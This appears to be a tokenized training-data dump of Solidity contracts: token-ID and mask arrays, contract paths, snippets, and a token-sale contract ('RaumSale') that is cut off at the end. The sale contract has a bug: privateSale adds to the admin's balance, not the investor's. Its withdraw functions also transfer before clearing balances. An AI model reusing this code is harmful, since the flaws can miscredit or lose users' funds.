0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
17801,
6835,
4232,
39,
3462,
5460,
429,
353,
1772,
288,
203,
565,
1758,
3238,
389,
8443,
31,
203,
203,
565,
871,
14223,
9646,
5310,
1429,
4193,
12,
203,
3639,
1758,
8808,
2416,
5541,
16,
203,
3639,
1758,
8808,
394,
5541,
203,
565,
11272,
203,
203,
203,
565,
3885,
1435,
288,
203,
3639,
1758,
1234,
12021,
273,
389,
3576,
12021,
5621,
203,
3639,
389,
8443,
273,
1234,
12021,
31,
203,
3639,
3626,
14223,
9646,
5310,
1429,
4193,
12,
2867,
12,
20,
3631,
1234,
12021,
1769,
203,
565,
289,
203,
203,
565,
445,
3410,
1435,
1071,
1476,
5024,
1135,
261,
2867,
13,
288,
203,
3639,
327,
389,
8443,
31,
203,
565,
289,
203,
203,
565,
9606,
1338,
5541,
1435,
288,
203,
3639,
2583,
12,
8443,
1435,
422,
389,
3576,
12021,
9334,
315,
654,
39,
3462,
5460,
429,
30,
4894,
353,
486,
326,
3410,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
445,
1654,
8386,
5460,
12565,
1435,
1071,
5024,
1338,
5541,
288,
203,
3639,
3626,
14223,
9646,
5310,
1429,
4193,
24899,
8443,
16,
1758,
12,
20,
10019,
203,
3639,
389,
8443,
273,
1758,
12,
20,
1769,
203,
565,
289,
203,
203,
565,
445,
7412,
5460,
12565,
12,
2867,
394,
5541,
13,
1071,
5024,
1338,
5541,
288,
203,
3639,
2583,
12,
203,
5411,
394,
5541,
480,
1758,
12,
20,
3631,
203,
5411,
315,
654,
39,
3462,
5460,
429,
30,
394,
3410,
353,
326,
3634,
1758,
6,
203,
3639,
11272,
203,
3639,
3626,
14223,
9646,
5310,
1429,
4193,
24899,
8443,
16,
394,
5541,
1769,
203,
2
] |
./partial_match/1/0x8db770E7A1Fae0Cb6146007595ddEC0F72EEFA3E/sources/CryptoCrab.sol | Increases one crab stat (or any byte in any bytes32 array by any amount) | function increaseStat(bytes32 currentDNA, bytes32 newDNA, uint pos, uint8 amount) internal pure returns (bytes32){
bytes32 x = 0xff00000000000000000000000000000000000000000000000000000000000000;
if(currentDNA[pos] > bytes1(0xff - amount)){ newDNA ^= ((x & bytes1(0xff)) >> (pos*8)); }else{
newDNA ^= (x & bytes1(uint8(currentDNA[pos]) + amount)) >> (pos*8);}
| 2,590,800 | [
1,
27597,
3304,
1245,
276,
20727,
610,
261,
280,
1281,
1160,
316,
1281,
1731,
1578,
526,
635,
1281,
3844,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
10929,
5000,
12,
3890,
1578,
783,
8609,
37,
16,
1731,
1578,
394,
8609,
37,
16,
2254,
949,
16,
2254,
28,
3844,
13,
2713,
16618,
1135,
261,
3890,
1578,
15329,
203,
3639,
1731,
1578,
619,
273,
374,
5297,
12648,
12648,
12648,
12648,
12648,
12648,
12648,
9449,
31,
203,
3639,
309,
12,
2972,
8609,
37,
63,
917,
65,
405,
1731,
21,
12,
20,
5297,
300,
3844,
3719,
95,
394,
8609,
37,
10352,
14015,
92,
473,
1731,
21,
12,
20,
5297,
3719,
1671,
261,
917,
14,
28,
10019,
289,
12107,
95,
203,
5411,
394,
8609,
37,
10352,
261,
92,
473,
1731,
21,
12,
11890,
28,
12,
2972,
8609,
37,
63,
917,
5717,
397,
3844,
3719,
1671,
261,
917,
14,
28,
1769,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0x624320d6Dc000c8fB335989CFD90326803FDCBe1/sources/https/raw.githubusercontent.com/vittominacori/erc20-generator/master/contracts/token/ERC20/UnlimitedERC20.sol | * @title UnlimitedERC20 @dev Implementation of the UnlimitedERC20/ | contract UnlimitedERC20 is ERC20Decimals, ERC20Mintable, ERC20Burnable, Ownable, Roles {
constructor (
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initialBalance_
)
ERC20(name_, symbol_)
ERC20Decimals(decimals_)
{
_mint(_msgSender(), initialBalance_);
}
function decimals() public view virtual override(ERC20, ERC20Decimals) returns (uint8) {
return super.decimals();
}
function _mint(address account, uint256 amount) internal override onlyMinter {
super._mint(account, amount);
}
function _finishMinting() internal override onlyOwner {
super._finishMinting();
}
}
| 8,088,597 | [
1,
984,
21325,
654,
39,
3462,
225,
25379,
434,
326,
1351,
21325,
654,
39,
3462,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
1351,
21325,
654,
39,
3462,
353,
4232,
39,
3462,
31809,
16,
4232,
39,
3462,
49,
474,
429,
16,
4232,
39,
3462,
38,
321,
429,
16,
14223,
6914,
16,
19576,
288,
203,
203,
565,
3885,
261,
203,
3639,
533,
3778,
508,
67,
16,
203,
3639,
533,
3778,
3273,
67,
16,
203,
3639,
2254,
28,
15105,
67,
16,
203,
3639,
2254,
5034,
2172,
13937,
67,
203,
565,
262,
203,
3639,
4232,
39,
3462,
12,
529,
67,
16,
3273,
67,
13,
203,
3639,
4232,
39,
3462,
31809,
12,
31734,
67,
13,
203,
203,
565,
288,
203,
3639,
389,
81,
474,
24899,
3576,
12021,
9334,
2172,
13937,
67,
1769,
203,
565,
289,
203,
203,
565,
445,
15105,
1435,
1071,
1476,
5024,
3849,
12,
654,
39,
3462,
16,
4232,
39,
3462,
31809,
13,
1135,
261,
11890,
28,
13,
288,
203,
3639,
327,
2240,
18,
31734,
5621,
203,
565,
289,
203,
203,
565,
445,
389,
81,
474,
12,
2867,
2236,
16,
2254,
5034,
3844,
13,
2713,
3849,
1338,
49,
2761,
288,
203,
3639,
2240,
6315,
81,
474,
12,
4631,
16,
3844,
1769,
203,
565,
289,
203,
203,
565,
445,
389,
13749,
49,
474,
310,
1435,
2713,
3849,
1338,
5541,
288,
203,
3639,
2240,
6315,
13749,
49,
474,
310,
5621,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0xE98F71e44a3A672a8B1720CaB4aC5481d1C1c734/sources/src/exchange/CTFExchange.sol | @notice Fills an order @param order - The order to be filled @param fillAmount - The amount to be filled, always in terms of the maker amount | function fillOrder(Order memory order, uint256 fillAmount) external nonReentrant onlyOperator notPaused {
_fillOrder(order, fillAmount, msg.sender);
}
| 5,676,452 | [
1,
28688,
392,
1353,
225,
1353,
3639,
300,
1021,
1353,
358,
506,
6300,
225,
3636,
6275,
282,
300,
1021,
3844,
358,
506,
6300,
16,
3712,
316,
6548,
434,
326,
312,
6388,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3636,
2448,
12,
2448,
3778,
1353,
16,
2254,
5034,
3636,
6275,
13,
3903,
1661,
426,
8230,
970,
1338,
5592,
486,
28590,
288,
203,
3639,
389,
5935,
2448,
12,
1019,
16,
3636,
6275,
16,
1234,
18,
15330,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0x3F8149dE673F4A37e8C6D7366b4E205ec5388B99/sources/project_/contracts/Implementation/SimpleAccountFactory.sol | * calculate the counterfactual address of this account as it would be returned by createAccount()/ | function getAddress(address owner, uint256 salt)
public
view
returns (address)
{
return
Create2.computeAddress(
bytes32(salt),
keccak256(
abi.encodePacked(
type(ERC1967Proxy).creationCode,
abi.encode(
address(accountImplementation),
abi.encodeCall(SimpleAccount.initialize, (owner))
)
)
)
);
}
| 1,938,137 | [
1,
11162,
326,
3895,
3493,
1462,
1758,
434,
333,
2236,
487,
518,
4102,
506,
2106,
635,
752,
3032,
1435,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
14808,
12,
2867,
3410,
16,
2254,
5034,
4286,
13,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
261,
2867,
13,
203,
565,
288,
203,
3639,
327,
203,
5411,
1788,
22,
18,
9200,
1887,
12,
203,
7734,
1731,
1578,
12,
5759,
3631,
203,
7734,
417,
24410,
581,
5034,
12,
203,
10792,
24126,
18,
3015,
4420,
329,
12,
203,
13491,
618,
12,
654,
39,
3657,
9599,
3886,
2934,
17169,
1085,
16,
203,
13491,
24126,
18,
3015,
12,
203,
18701,
1758,
12,
4631,
13621,
3631,
203,
18701,
24126,
18,
3015,
1477,
12,
5784,
3032,
18,
11160,
16,
261,
8443,
3719,
203,
13491,
262,
203,
10792,
262,
203,
7734,
262,
203,
5411,
11272,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev for managing the Raum Public and Private Sale
*/
contract RaumSale {
using SafeMath for uint256;
struct vault {
uint256 privateSalebalance;
uint256 privateSaleWithdrawDate;
uint256 publicSalebalance1;
uint256 publicSaleWithdrawDate1;
uint256 publicSalebalance2;
uint256 publicSaleWithdrawDate2;
}
mapping(address => vault) public saleBalances;
address payable admin;
address RNTokens;
uint256 rnTokenPerMatic;
bool isPublicSale1 = false;
bool isPublicSale2 = false;
event print(uint256 amount);
/**
* @dev Sets the values for {admin}, {RNTokens}, {startSaleBlock} and {price}.
*
*
*/
constructor(address _RNAddress,uint256 _rnTokenPerMatic) {
admin = payable(msg.sender);
RNTokens = _RNAddress;
rnTokenPerMatic = _rnTokenPerMatic;
}
/**
* @dev Set the Updated price for public and private sale.
*/
function setrnTokenPerMatic(uint256 _rnTokenPerMatic) public {
require ( msg.sender == admin, "Only admin callable function");
rnTokenPerMatic = _rnTokenPerMatic;
}
/**
* @dev Set the close the public sale 1
*/
function changePublicSale1(bool _start) public {
require ( msg.sender == admin, "Only admin callable function");
isPublicSale1 = _start;
}
/**
* @dev Set the close the public sale 2
*/
function changePublicSale2(bool _start) public {
require ( msg.sender == admin, "Only admin callable function");
isPublicSale2 = _start;
}
/**
* @dev Allows account to Book Tokens and lock them for 12 months
*/
function privateSale(uint256 rnTokens, address investor) public {
require ( msg.sender == admin, "Only admin callable function");
saleBalances[investor].privateSalebalance = saleBalances[msg.sender].privateSalebalance.add(rnTokens);
saleBalances[investor].privateSaleWithdrawDate = block.timestamp + 360 days;
}
/**
* @dev Allows account to Book Tokens and lock them for 8 months
*/
function publicSale1() public payable {
require( isPublicSale1==true, "Public Sale 1 is closed");
require( msg.value>=50*(10**18) && msg.value<=7500*(10**18), "You can buy a minimum of tokens worth 50 Matic and maximum of 7500 Matic" );
uint256 noOfTokens = rnTokenPerMatic*(msg.value);
saleBalances[msg.sender].publicSalebalance1 = saleBalances[msg.sender].publicSalebalance1.add(noOfTokens);
saleBalances[msg.sender].publicSaleWithdrawDate1 = block.timestamp + 240 days;
}
/**
* @dev Allows account to Book Tokens and lock them for 6 months
*/
function publicSale2() public payable {
require( isPublicSale2==true, "Public Sale 2 is closed");
require( msg.value>=50*(10**18) && msg.value<=7500*(10**18), "You can buy a minimum of tokens worth 50 Matic and maximum of 7500 Matic" );
uint256 noOfTokens = rnTokenPerMatic*(msg.value);
saleBalances[msg.sender].publicSalebalance2 = saleBalances[msg.sender].publicSalebalance2.add(noOfTokens);
saleBalances[msg.sender].publicSaleWithdrawDate2 = block.timestamp + 180 days;
}
/**
* @dev Allows account to withdraw the Public sale 1 tokens
*/
function withdrawPublicSale1() public {
require( block.timestamp >= saleBalances[msg.sender].publicSaleWithdrawDate1, "Yorn RN Tokens are still locked" );
IERC20(RNTokens).transfer(msg.sender, saleBalances[msg.sender].publicSalebalance1);
saleBalances[msg.sender].publicSalebalance1 = 0;
}
/**
* @dev Allows account to withdraw the Public sale 2 tokens
*/
function withdrawPublicSale2() public {
require( block.timestamp >= saleBalances[msg.sender].publicSaleWithdrawDate2, "Yorn RN Tokens are still locked" );
IERC20(RNTokens).transfer(msg.sender, saleBalances[msg.sender].publicSalebalance2);
saleBalances[msg.sender].publicSalebalance2 = 0;
}
/**
* @dev Allows account to withdraw the Private token sale
*/
function withdrawPrivateSale() public {
require( block.timestamp >= saleBalances[msg.sender].privateSaleWithdrawDate, "Yorn RN Tokens are still locked" );
IERC20(RNTokens).transfer(msg.sender, saleBalances[msg.sender].privateSalebalance);
saleBalances[msg.sender].privateSalebalance = 0;
}
/**
* @dev Returnnumber of RN Tokens in this contract
*/
function getRNBalance() public view returns (uint) {
